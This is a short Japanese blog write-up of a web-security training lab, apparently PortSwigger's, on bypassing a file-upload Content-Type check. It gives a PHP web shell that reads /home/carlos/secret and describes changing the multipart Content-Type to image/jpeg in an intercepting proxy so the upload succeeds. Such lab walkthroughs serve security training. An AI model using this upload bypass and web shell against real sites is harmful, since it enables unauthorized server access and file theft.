academy ファイルアップロード 2問目 Content-Type制限バイパスによるWebシェルのアップロード

WEBセキュリティー

Web shell upload via Content-Type restriction bypass

wienerでログインすると、アバター画像をアップロードする画面があらわれます。

テストで、JPGファイルをアップしてみます。

ファイルのアップ成功と表示されます。
戻ると、JPGファイルが表示されます。

エディタを使って、exploit.phpをいうファイルを作ります。

<?php echo file_get_contents('/home/carlos/secret'); ?>

アップロードフォームから、作ったexploit.phpをアップします。

image/jpeg image/pngしかアップできませんとエラーが出ました。

アップに失敗したリクエストをヒストリーからみつけ、リピータに渡します。
*最新の POST /my-account/avatar だと思います。

リクエストボディの

------WebKitFormBoundaryK7cOXSDvpWgNvGpA
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: application/octet-stream

のapplication/octet-streamを

image/jpeg に書き換え、sendを押します。

200が返って、phpファイルのアップに成功したようです。

内臓ブラウザのURLで、以下を叩きます。
/files/avatars/exploit.php

秘密のパスワードが表示されるので、Submit solutionに入れて、クリア!

–)v

コメント

タイトルとURLをコピーしました